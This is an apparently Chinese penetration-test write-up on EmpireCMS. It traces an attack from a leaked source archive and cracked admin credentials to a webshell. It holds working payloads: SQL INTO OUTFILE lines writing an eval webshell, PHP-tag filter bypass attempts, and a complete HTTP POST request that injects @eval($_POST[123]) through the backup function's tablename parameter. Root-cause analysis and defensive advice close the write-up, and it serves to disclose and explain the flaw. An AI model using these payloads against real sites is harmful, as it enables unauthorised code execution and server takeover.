源码泄露到getshell(2)
字数 1756 2025-08-29 08:30:36

EmpireCMS 源码泄露到GetShell漏洞分析与利用

1. 漏洞背景

本文档详细分析EmpireCMS从源码泄露到最终获取服务器权限的全过程。所有漏洞均已提交至漏洞平台,且恶意操作已复原。

2. 信息收集阶段

2.1 源码泄露

通过访问 http://www.xxx.com.cn/www.zip 获取网站源码

敏感信息搜索技巧

  • 使用关键词搜索源码:keypwdpasswdpassword
  • 检查robots.txt文件,发现CMS信息为EmpireCMS

2.2 数据库信息获取

  1. 查询EmpireCMS数据表结构,管理员表为phome_enewsuser
  2. 在源码中全局搜索该表名,发现敏感信息泄露
  3. 获取管理员用户名、密码hash和盐值
  4. 解密MD5得到管理员凭证:Kite/kite

2.3 后台地址发现

  • 默认后台地址:http://www.xxx.com.cn/e/admin/
  • 确认版本号为6.6

3. 漏洞利用尝试

3.1 尝试1:JS调用登陆模版GetShell

漏洞位置:后台-模版-公共模版-js调用登陆模版

失败原因Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist,相关表被删除

3.2 尝试2:导入数据库模型GetShell

漏洞详情

  • EmpireCMS 7.5及之前版本中e/class/moddofun.php文件的LoadInMod函数存在安全漏洞
  • 可上传任意.mod文件实现文件上传

利用步骤

  1. 创建test.php.mod文件,内容为PHP代码
  2. 在后台"数据表与系统模型"中选择导入

失败原因:表不存在错误

3.3 尝试3:执行SQL语句GetShell

漏洞详情

  • EmpireCMS7.5及之前版本中admindbDoSql.php存在代码注入漏洞
  • 需要MySQL配置secure_file_priv不当

利用Payload

select '<?php @eval($_POST[123])?>' into outfile '绝对路径/e/admin/lyy.php'

失败原因:无法获取绝对路径,无回显执行

3.4 成功利用:备份数据GetShell

漏洞详情

  • EmpireCMS 7.5及之前版本在后台备份数据库时未验证数据库表名
  • 通过修改数据库表名可实现任意代码执行

利用步骤

  1. 选择任意表开始备份并抓包
  2. 修改tablename字段为Payload:
    @eval($_POST[123])
    

完整请求示例

POST /e/admin/ebak/phome.php HTTP/1.1
Host: www.xxx.com.cn
Content-Length: 285
Content-Type: application/x-www-form-urlencoded
Cookie: [管理员Cookie]

phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename[]=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
  1. 从回显获取备份文件夹名(如hdm1010482_db_20211229152350
  2. 访问Webshell:
    http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php
    

4. 漏洞原理分析

4.1 漏洞位置

e/admin/ebak/class/functions.php文件中的Ebak_DoEbak函数存在文件写入操作

4.2 关键代码

$string="<?php
\$b_table=\"".$b_table."\";
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
[...其他变量...]
?>";

$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string);

4.3 漏洞成因

  1. $d_table变量直接拼接进PHP文件内容,无任何过滤
  2. $d_table来自POST参数tablename,攻击者可完全控制
  3. 其他参数或被双引号包裹,或被强制转换为int类型,无法利用

5. 其他利用尝试

5.1 SQL写入Webshell

在获取绝对路径后尝试:

select '<?php phpinfo();?>' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'

结果

  • 语句执行成功但内容被替换为空
  • 可写入普通文本文件
  • PHP标签被过滤

5.2 绕过尝试

  1. 使用空格分隔:<? phpinfo(); ?> - 失败
  2. 使用script标签:<script language="php">phpinfo();</script> - 写入但无法执行
  3. ASP风格标签:<% phpinfo(); %> - 写入但服务器不支持

6. 总结与防御建议

6.1 漏洞总结

  • 通过源码泄露获取敏感信息
  • 利用历史漏洞进行渗透
  • 最终通过备份功能未过滤表名实现代码执行

6.2 防御建议

  1. 防止源码泄露

    • 删除开发环境备份文件
    • 配置服务器禁止访问.zip等压缩文件
  2. 加固EmpireCMS

    • 升级到最新版本
    • 修改默认后台路径
    • 过滤备份功能中的表名参数
  3. 数据库安全

    • 配置MySQL的secure_file_priv为安全值
    • 使用最小权限原则设置数据库用户
  4. 服务器配置

    • 禁用危险函数
    • 配置PHP禁用短标签
  5. 监控与日志

    • 监控异常备份操作
    • 定期审计日志文件
EmpireCMS 源码泄露到GetShell漏洞分析与利用 1. 漏洞背景 本文档详细分析EmpireCMS从源码泄露到最终获取服务器权限的全过程。所有漏洞均已提交至漏洞平台,且恶意操作已复原。 2. 信息收集阶段 2.1 源码泄露 通过访问 http://www.xxx.com.cn/www.zip 获取网站源码 敏感信息搜索技巧 : 使用关键词搜索源码: key 、 pwd 、 passwd 、 password 检查 robots.txt 文件,发现CMS信息为EmpireCMS 2.2 数据库信息获取 查询EmpireCMS数据表结构,管理员表为 phome_enewsuser 在源码中全局搜索该表名,发现敏感信息泄露 获取管理员用户名、密码hash和盐值 解密MD5得到管理员凭证: Kite/kite 2.3 后台地址发现 默认后台地址: http://www.xxx.com.cn/e/admin/ 确认版本号为6.6 3. 漏洞利用尝试 3.1 尝试1:JS调用登陆模版GetShell 漏洞位置 :后台-模版-公共模版-js调用登陆模版 失败原因 : Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist ,相关表被删除 3.2 尝试2:导入数据库模型GetShell 漏洞详情 : EmpireCMS 7.5及之前版本中 e/class/moddofun.php 文件的 LoadInMod 函数存在安全漏洞 可上传任意 .mod 文件实现文件上传 利用步骤 : 创建 test.php.mod 文件,内容为PHP代码 在后台"数据表与系统模型"中选择导入 失败原因 :表不存在错误 3.3 尝试3:执行SQL语句GetShell 漏洞详情 : EmpireCMS7.5及之前版本中 admindbDoSql.php 存在代码注入漏洞 需要MySQL配置 secure_file_priv 不当 利用Payload : 失败原因 :无法获取绝对路径,无回显执行 3.4 成功利用:备份数据GetShell 漏洞详情 : EmpireCMS 7.5及之前版本在后台备份数据库时未验证数据库表名 通过修改数据库表名可实现任意代码执行 利用步骤 : 选择任意表开始备份并抓包 修改 tablename 字段为Payload: 完整请求示例 : 从回显获取备份文件夹名(如 hdm1010482_db_20211229152350 ) 访问Webshell: 4. 漏洞原理分析 4.1 漏洞位置 e/admin/ebak/class/functions.php 文件中的 Ebak_DoEbak 函数存在文件写入操作 4.2 关键代码 4.3 漏洞成因 $d_table 变量直接拼接进PHP文件内容,无任何过滤 $d_table 来自POST参数 tablename ,攻击者可完全控制 其他参数或被双引号包裹,或被强制转换为int类型,无法利用 5. 其他利用尝试 5.1 SQL写入Webshell 在获取绝对路径后尝试: 结果 : 语句执行成功但内容被替换为空 可写入普通文本文件 PHP标签被过滤 5.2 绕过尝试 使用空格分隔: <? phpinfo(); ?> - 失败 使用script标签: <script language="php">phpinfo();</script> - 写入但无法执行 ASP风格标签: <% phpinfo(); %> - 写入但服务器不支持 6. 总结与防御建议 6.1 漏洞总结 通过源码泄露获取敏感信息 利用历史漏洞进行渗透 最终通过备份功能未过滤表名实现代码执行 6.2 防御建议 防止源码泄露 : 删除开发环境备份文件 配置服务器禁止访问.zip等压缩文件 加固EmpireCMS : 升级到最新版本 修改默认后台路径 过滤备份功能中的表名参数 数据库安全 : 配置MySQL的 secure_file_priv 为安全值 使用最小权限原则设置数据库用户 服务器配置 : 禁用危险函数 配置PHP禁用短标签 监控与日志 : 监控异常备份操作 定期审计日志文件